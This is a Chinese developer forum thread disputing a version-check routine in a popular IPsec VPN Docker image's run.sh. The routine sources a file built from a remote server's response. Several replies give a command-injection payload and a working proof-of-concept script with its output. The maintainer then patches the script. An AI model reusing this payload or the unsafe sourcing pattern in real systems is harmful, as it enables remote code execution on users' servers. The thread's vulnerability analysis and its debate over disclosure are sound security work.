V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
devliu1
V2EX  ›  GitHub

在 github 仓库 指出潜在的安全隐患后 被删 issue

  •  5
     
  •   devliu1 · 137 天前 · 6461 次点击
    这是一个创建于 137 天前的主题,其中的信息可能已经有所发展或是发生改变。
    在 github 和 dockerhub 看中了一个比较流行的镜像:hwdsl2/setup-ipsec-vpn 。

    简单查看源码时发现作者为了提醒用户升级版本,在脚本中加入了一段代码:

    https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/master/run.sh#L638-L659

    这段代码统计了服务器的一些信息( IP 、系统、版本),如果有 0day 爆出,作者有直接利用的可能。

    另外,我怀疑这段代码可以绕过,或者在某次更新没有注意又引入了可被绕过的 bug 。

    为此新开了个 issue ,作者回复后就立即关闭以及删除 issue 。

    不知道大家怎么看?
    第 1 条附言  ·  136 天前
    作者已提交 patch ,并且在#31 作了回复
    46 条回复    2022-01-04 15:27:16 +08:00
    ryd994
        1
    ryd994  
       137 天前   ❤️ 3
    swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
    printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
    . "$swan_ver_file"

    节选三行代码。相信稍有 bash 和或 sql 常识的人都该知道有什么问题。
    统计信息可能涉及 gpdr 等 compliance 问题,但是比起上面的问题这已经是小问题了。考虑到 docker 的隔离,影响可能有限。但是如果用 host 网络或者小白瞎挂目录进容器的话就有问题了。总之,这是一个很明显的 bug ,在被人指出后还关 issue 是很不负责任的。

    你能做什么?什么都做不了。因为开源软件的授权协议本来就包含了免责声明。作者对用户没有任何义务也不对任何使用的后果负责。你可以考虑 fork 然后修正此问题。这就是开源社区解决不负责任的开发者的方式:fork ,然后比他更负责。

    看看 LinkedIn ,好歹也是个 PhD ,毕业后还在业界工作了好几年了。好歹也是谷歌的 sde ,还做过 sre 。G 家的 sre 就这水平?我很失望。
    另一方面,LinkedIn 上写的还是 sde 而不是 senior 。PhD 起步,莫不是干了这么多年还没升到 senior ?同龄人应该很多是 principal 了吧?
    momocraft
        2
    momocraft  
       137 天前
    朝那个 URL 放适当的字符串 好像可以在别人的机器执行 (source) 代码
    bhyslyk2
        3
    bhyslyk2  
       137 天前
    你发现了一个后门
    learningman
        4
    learningman  
       137 天前
    os_type=$(. /etc/os-release
    感觉这里可以注入一下,结合一个任意文件写入就可以任意执行 docker 命令了
    ryd994
        5
    ryd994  
       137 天前 via Android   ❤️ 2
    @learningman 这一行反而问题不大。os-release 是通用的系统版本配置文件。https://man7.org/linux/man-pages/man5/os-release.5.html
    man page 里的例子就是这样直接 source 使用的

    在正常的 Linux 发行版里,/etc/已经合理设置权限,只有 root 或 sudoer 才能修改。如果有人能修改 os-release ,那他何必费这个劲,直接修改 rc.local 或者 init script 还比较方便。
    xmumiffy
        6
    xmumiffy  
       137 天前   ❤️ 5
    正常.
    issue 是公开的,既然你提出一个漏洞,应该先通过非公开途径报告.
    xiaolanger
        7
    xiaolanger  
       137 天前
    看到 @xmumiffy #6 这个的回复,楼主是不是可以考虑邮件联系一下作者?
    devliu1
        8
    devliu1  
    OP
       137 天前   ❤️ 1
    Hello! There is no security threat. This code checks for the latest supported Libreswan version. It only runs once after creating the Docker container, and simply shows a message in the Docker container's output that a newer Libreswan version is available.
    这个是作者在原 issue 下的回复,藏着掖着还是很失望的。 @xiaolanger
    Mirage09
        9
    Mirage09  
       137 天前 via iPhone
    @ryd994 这种加起来 5 yoe 不是 sr sde 挺正常的,更何况还是在升职本来就相对慢的 g 家…
    vanton
        10
    vanton  
       137 天前
    这种漏洞建议直接私信或者 mail 作者直接联系。
    或许事情并不是你想的那样。
    jptx
        11
    jptx  
       137 天前   ❤️ 5
    简单看了下,这段是这个 commit 加进去的: https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/4287e068376b9bb81b7781863b203914dd6aa62d
    远程加载的地址 dl.ls20.com 是作者自己的域名地址,作者有完全的掌控权且可以不公开内部逻辑。这东西可以类比为某个软件有检查并自动安装更新的功能,是否会出事,完全取决于作者本人的道德。
    liuxu
        12
    liuxu  
       137 天前   ❤️ 3
    @ryd994

    按你贴的代码确实有问题,但是你只截了别人一段代码。。。

    别人的源代码是这样的 https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/d305867bccdd70121d079cfa82c8a68c115f469f/run.sh#L638-L659

    # Check for new Libreswan version
    swan_ver_file="/opt/src/swanver"
    if [ ! -f "$swan_ver_file" ]; then
    touch "$swan_ver_file"
    ipsec_ver=$(ipsec --version 2>/dev/null)
    swan_ver=$(printf '%s' "$ipsec_ver" | sed -e 's/.*Libreswan U\?//' -e 's/\( (\|\/K\).*//')
    swan_ver_url="https://dl.ls20.com/v1/docker/$os_type/$os_arch/swanver?ver=$swan_ver&ver2=$IMAGE_VER&i=$status"
    swan_ver_latest=$(wget -t 3 -T 15 -qO- "$swan_ver_url")
    if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
    && [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
    && printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
    printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
    fi
    fi
    if [ -s "$swan_ver_file" ]; then
    . "$swan_ver_file"
    cat <<EOF
    Note: A newer version of Libreswan ($swan_ver_latest) is available.
    To update this Docker image, see: https://git.io/updatedockervpn
    EOF
    fi

    你只截 if 内部的代码,而不贴 if 的代码,也不谈论利用环境。。

    首先这个脚本是 sh 执行,不存在其他人通过 http 请求注入问题。。

    唯一有问题的是作者给 swan_ver_url 加入了 exploit 代码,但是下面的 if 条件

    printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' &&

    首先会通过 grep 验证是否为 xx.xx 的数字版本号,成功才会继续之下&&后面的代码,所以本身就有了防注入功能,而他这个和 sql 注入一点关系都没有,别拿 sql 注入的常识放在这里。。后面就是在当前环境设置 swan_ver_latest 这个环境变量而已。。


    回楼主

    linux 下软件和系统版本信息放在文件中本身就是很通用的做法。。自己去 /etc 、/proc 和 /sys 下去看。。

    你们还在扯 docker 隔离问题,linux kernel 官方自己没隔离 cpu 内存这些信息。。

    所以确实不存在安全问题。。
    devliu1
        13
    devliu1  
    OP
       137 天前
    @liuxu 确实要看利用条件,我也说明了 `我怀疑这段代码可以绕过` ,我目前还没想道利用的方式,但是直觉感觉可以绕,况且,要是记录版本没必要用 source 的方式,完全可以记录一个 text 。

    发 issue 的目的是想留在 issue 区给大家提醒,并审计一下
    而发贴是吐槽一下作者直接删 issue 的行为
    kkocdko
        14
    kkocdko  
       137 天前 via Android
    issue 可以删?
    liuxu
        15
    liuxu  
       137 天前
    @devliu1

    作者通过 source 给当前 docker 环境注入一个环境变量没有什么不妥

    换个说法,作者建了一座楼,没问题,然后你在楼下拉了个横幅在说“我感觉这楼有安全问题,要塌”,然后作者跟你说没安全问题,把横幅扔到垃圾桶,你觉得这个作者的行为有什么问题么

    还是说你感觉不妥,应该继续放楼下展示,给大家提个醒,万一真的会塌呢
    kidonng
        16
    kidonng  
       137 天前   ❤️ 1
    @kkocdko https://docs.github.com/issues/tracking-your-work-with-issues/deleting-an-issue
    但有一大堆爬虫盯着 GitHub 所以删除的作用在一段时间内十分有限
    2i2Re2PLMaDnghL
        17
    2i2Re2PLMaDnghL  
       137 天前   ❤️ 11
    @liuxu 有办法绕过,因为 grep -q 只看输入流中是否有至少一行符合模式。
    所以可以让服务器响应载荷如下即可嵌入代码:
    999.999.998'
    999.999.999
    echo "hello world"
    w'

    它能通过 grep -Eq
    在 sort -C -V 中它必是最新
    然后通过 printf '%s\n' "swan_ver_latest='$swan_ver_latest'" 输出如下内容:
    swan_ver_latest='999.999.998'
    999.999.999
    echo "hello world"
    w''
    应该会产生一个错误 999.999.999: command not found ,尔后正常运行其他语句。(没有 set -e )
    换句话说其实就是你相信这服务器才行
    2i2Re2PLMaDnghL
        18
    2i2Re2PLMaDnghL  
       137 天前
    应该可以不用特意找一个可以找到的 w ,直接 zzzz' 就行
    skiy
        19
    skiy  
       137 天前
    作者只是为了作统计而已吧?

    如果是服务器爆漏洞,通过 IP 和服务器信息就能破别人的服务器?那这样,很多工具没法用了。比如 https://github.com/syncthing/syncthing 这种(也有这种统计)。

    再者,用在 docker 上。
    楼上有说,如果小白怎样怎么样的。但实际上,小白基本都是按官方文档来的,而官方文档只有一个 `-v ikev2-vpn-data:/etc/ipsec.d ` 挂 volume 里的。

    还有一个,楼上有人说,这都是按“作者的道德”什么什么的。但实际上,人家是开源的,你既然觉得人家这个镜像有问题,你完全可以自己 fork 一个出来,再 build 一个挂到 hub docker 上面。如果使用别人的东西之前,就已经作为“作者没道德”的有罪推定,那就不要使用便好。以免自己不放心,也免得作者糟心。
    0o0O0o0O0o
        20
    0o0O0o0O0o  
       137 天前 via iPhone
    > 换个说法,作者建了一座楼,没问题,然后你在楼下拉了个横幅在说“我感觉这楼有安全问题,要塌”,然后作者跟你说没安全问题,把横幅扔到垃圾桶,你觉得这个作者的行为有什么问题么

    @liuxu 这是有数十个 pr 数百个 issue 以及 docker pulls 28M 的开源项目,我觉得关闭 issue 和删除 issue 的性质还是不一样的吧?
    skiy
        21
    skiy  
       137 天前
    @0o0O0o0O0o 关闭 PR 我觉得可以理解。“删除 PR”的话,应该看作者的想法了。实际上“自动更新”之类的,都存在“安全隐患”。
    cweijan
        22
    cweijan  
       137 天前   ❤️ 1
    @ryd994 因为一段有可能出 bug 的代码你就对作者一顿批判, 你也是人才
    liuxu
        23
    liuxu  
       137 天前   ❤️ 3
    @2i2Re2PLMaDnghL

    #17 你是对的,我给想混了,把 grep 想成管道过滤输出了,怎么在 if 里面这么想。。

    按你的方法,我利用成功了

    测试脚本,模仿 run.sh

    gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
    #!/bin/bash

    swan_ver_file="/tmp/tmp_version"
    swan_ver="1.2";
    swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

    #echo $swan_ver_latest;
    #printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

    if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
    && [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
    && printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
    printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
    fi
    if [ -s "$swan_ver_file" ]; then
    . "$swan_ver_file"
    cat <<EOF
    Note: A newer version of Libreswan ($swan_ver_latest) is available.
    To update this Docker image, see: http*s://git.io/updatedockervpn
    EOF
    fi


    wget exploit 代码:

    gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
    999.999.998'
    999.999.999
    echo "hello world"
    zz'


    执行结果:

    gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
    /tmp/tmp_version: line 2: 999.999.999: command not found
    hello world
    /tmp/tmp_version: line 4: zz: command not found
    Note: A newer version of Libreswan (999.999.998) is available.
    To update this Docker image, see: http*s://git.io/updatedockervpn


    楼主的猜测没问题,如果作者想利用这个步骤攻击,可以在某个时期段注入攻击代码,然后再恢复正常,很难被人发现,唯一可控的就是 docker 环境隔离了宿主机

    但考虑到是 vpn ,存在被利用搭建管道,建议不要使用
    devliu1
        24
    devliu1  
    OP
       137 天前
    @2i2Re2PLMaDnghL @liuxu 感谢两位提供的思路和 poc ,我也忽略了 grep -q ,这也是我为什么提出,有“潜在”的安全风险。
    @skiy 我宁愿相信作者的本意是统计用途,我也只是指出可能存在的问题,被删除实在难免有此地无银的嫌疑。

    所以我选择发帖提醒,并且选择不使用该作者的代码。

    再次感谢大家
    hxse
        25
    hxse  
       137 天前   ❤️ 2
    关闭 issue 可以理解, 但不该删除, 这确实是道德问题, 建议去 reddit 曝光
    kaedea
        26
    kaedea  
       137 天前 via Android   ❤️ 4
    🌚 以防万一应该先向工信部报告
    devliu1
        27
    devliu1  
    OP
       137 天前
    @hxse 这个仓库应该国人用的多,也就 v2 发发牢骚了。
    @kaedea 搞不好还是登子的阴谋
    Felldeadbird
        28
    Felldeadbird  
       137 天前
    楼主这个出发点 OK 啊! 我站在作者角度看,一般这个是用来做版本碎片统计用。但是用来做攻击这种角度还真的可以!

    对于删除 ISSEU 这个,不太清楚。楼主试下以邮件形式询问?
    hs0000t
        29
    hs0000t  
       137 天前 via Android
    感谢楼主排雷!
    ryd994
        30
    ryd994  
       136 天前 via Android   ❤️ 4
    @liuxu 感谢你的验证。我这么快就说作者有问题还有另一个原因:这里完全没有必要用 source 。

    他已经有了 swan_ver_latest 。完全可以简单地 if [ "$swan_ver_latest" == "expected version" ]
    如果想设置全局变量完全可以 export swan_ver_latest=$swan_ver_latest 或者类似物。
    想缓存结果也可以直接存到文件,之后再从文件里读一下就完事了。反正 docker 里就这一个程序。一个变量存一个文件也无不可。

    而且这查程序版本号这点小事,只要能用好缓存和静态化等功能,服务器上的负载微乎其微。以大多数人的程序流行度,还远不到需要担心服务器性能的程度。

    在这脱裤子放屁写这三行,可以说纯粹就是为了用 source ,非蠢即坏。永远不要随便 eval 外部可以控制的数据,这应该是铁则。何况这个 eval 还毫无必要。

    我提到 SQL 只是 SQL 注入问题比较常见。希望大家想到注入问题而已。对于 SQL parameterized queries 就是为了解决这个问题,而各大 SQL 软件的手册上都提醒:最简单的办法就是用好 parameterized queries ,别自己设计一套输入验证或者 escaping ,因为自己实现的防注入验证太容易有漏洞了。


    @cweijan 为什么不应该批判一番?这些问题我在上学的时候就知道注意了。一个学生都写不出这样的 bug 。SRE 在谷歌是什么?简单来说就是运维。当然实际工作范围要比运维大一点。
    换句话说,bash 对他应当是工作内容的一部分,是每天要用的东西。而类似的 bug ,是否还存在于他其他的代码里?如果存在,那他的同事在 code review 中是否指出过?还是说指出过,但他没有改?

    好,谁不犯错呢?不小心写了个 bug 也没啥。但是人家都给你指出来了,直接关 issue 这是几个意思?自己往简历 /LinkedIn 上写的项目,用来找工作的项目,能不能上点心?

    就像我上面所说:这是一个 G 家 SRE 应有的水平和态度吗?我很失望。
    hwdsl2
        31
    hwdsl2  
       136 天前   ❤️ 10
    大家好,我是该 GitHub 仓库的作者。首先感谢大家的讨论,尤其是 @devliu1 @liuxu @2i2Re2PLMaDnghL 指出潜在的安全问题。在这里要说明一下。以上 @liuxu 引用的该部分代码的用途仅为检查新的受支持的 Libreswan 版本以及版本统计。swan_ver_url 是在 AWS S3 上的静态网站,该 URL 返回的值仅为 Libreswan 版本号本身(比如 4.5 )。

    该代码已经包含验证,以确保返回的值为有效的版本号。上面 @liuxu @2i2Re2PLMaDnghL 指出的潜在的安全问题之前并没有考虑到,我已在最新的 commit b01c7d8 修复。它已包含在最新版本的 Docker 镜像中。

    欢迎大家提出其它改进的建议。因为 GitHub Issues 是公共区域,有关安全的问题请不要创建 Issue ,可以直接与我邮件联系。
    bxb100
        32
    bxb100  
       136 天前 via Android
    楼主和 @ryd994 真的赞,希望这样的事不会影响你们对来源代码的审计
    momocraft
        33
    momocraft  
       136 天前
    公开就能被利用的安全漏洞需要保密
    公开了旁人也无法利用的漏洞也要这样吗?
    lance6716
        34
    lance6716  
       136 天前 via Android
    记得我们 repo 里面建 issue 的时候,会根据类别选择不同模板。安全问题是直接引导到邮件的,不是直接建 issue
    zouzou0208
        35
    zouzou0208  
       136 天前
    安全问题邮件联系好一些。
    liuxu
        36
    liuxu  
       136 天前   ❤️ 1
    @2i2Re2PLMaDnghL
    @hwdsl2

    最新的 commit grep 前 head 版本返回第一行,grep 进行单行验证,我这边验证没安全问题了

    https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/b01c7d8951cc9c797791b96ff1bfd46ac336862b
    ryd994
        37
    ryd994  
       136 天前 via Android
    @hwdsl2 更好的办法是 grep -o ,同时 grep pattern 严格限制数字字符。这样可以最小化暴露面
    ryd994
        38
    ryd994  
       136 天前 via Android   ❤️ 2
    @momocraft 表面上旁人无法利用,实际上可能被结合其他漏洞利用。比如不安全的 CA 。
    不是必须有 poc 才叫 vulnerability 。
    邮件保密可以,但是关闭 issue 之前应当说明理由。关闭之后应当及时私下 follow up 。
    hackerwgf
        39
    hackerwgf  
       136 天前   ❤️ 16
    这他娘的才是我想逛的 V2
    SuperMaxine
        40
    SuperMaxine  
       136 天前 via Android   ❤️ 1
    挺正常的,有经验的开发者都会要求 security 问题 e-mail 交流,在 issue 里提变相等于公开漏洞了
    hccsoul
        41
    hccsoul  
       136 天前   ❤️ 1
    个人感觉可能被利用的漏洞还是和作者单独交流比较好,公开出来总感觉有心术不正的人来利用,作者删掉那个 issue,可能是去除潜在的被利用的风险.
    mr0joker
        42
    mr0joker  
       136 天前
    @devliu1 作者已经修复且回复了,我觉得可以开个回复向关注了该贴的 v 友说明下
    wph95
        43
    wph95  
       136 天前   ❤️ 2
    > 在 github 仓库 指出潜在的安全隐患后 被删 issue
    > 为此新开了个 issue ,作者回复后就立即关闭以及删除 issue 。

    repo 作者做的没问题
    https://docs.github.com/en/code-security/security-advisories/about-coordinated-disclosure-of-security-vulnerabilities
    https://docs.github.com/en/code-security/security-advisories/creating-a-security-advisory

    > 漏洞报告者的最佳实践
    私下向维护者报告漏洞是一项良好的做法。 如果可能,作为漏洞报告者,我们建议您避免:
    - 公开披露漏洞而不给维护者补救的机会。
    - 绕过维护者。
    - 在代码的修复版可用之前披露漏洞。
    - 在没有公共奖励方案的情况下,报告某个问题时期望得到补偿。
    漏洞报告者如果已尝试联系维护者但未收到回复,或与已联系他们但被要求等待很久才能披露,则在一段时间后公开披露漏洞是可以接受的。
    Lothar
        44
    Lothar  
       136 天前
    V 站真就 “全球工单响应系统” 比啥都快
    kangkang
        45
    kangkang  
       136 天前
    这他娘的才是我想逛的 V2 +1
    devliu1
        46
    devliu1  
    OP
       136 天前   ❤️ 2
    借用一下 @momocraft 的回复

    > 公开就能被利用的安全漏洞需要保密
    > 公开了旁人也无法利用的漏洞也要这样吗?

    Sorry ,标题可能有些误导嫌疑,几位说的没有错,但是可能也没完整看完帖子之前讨论的内容 @lance6716 @zouzou0208 @SuperMaxine @hccsoul @wph95

    我还是重新说明一下为什么直接发 issue 而不是发邮件联系:

    **这里的漏洞不是能被旁人利用的漏洞,而是怀疑有后门**,公开这个漏洞对于公众利大于弊。

    我一时间没有找到绕过的方法,想通过 issue 区让更多的使用者来验证是否有安全问题,之前也提到过发贴是因我认为作者**回复没有问题并删 issue**的行为很不合适。

    从技术角度,即使已经加了过滤, `source` 仍然是不妥的行为。
    关于   ·   帮助文档   ·   API   ·   FAQ   ·   我们的愿景   ·   广告投放   ·   感谢   ·   实用小工具   ·   1158 人在线   最高记录 5497   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 656ms · UTC 20:05 · PVG 04:05 · LAX 13:05 · JFK 16:05
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.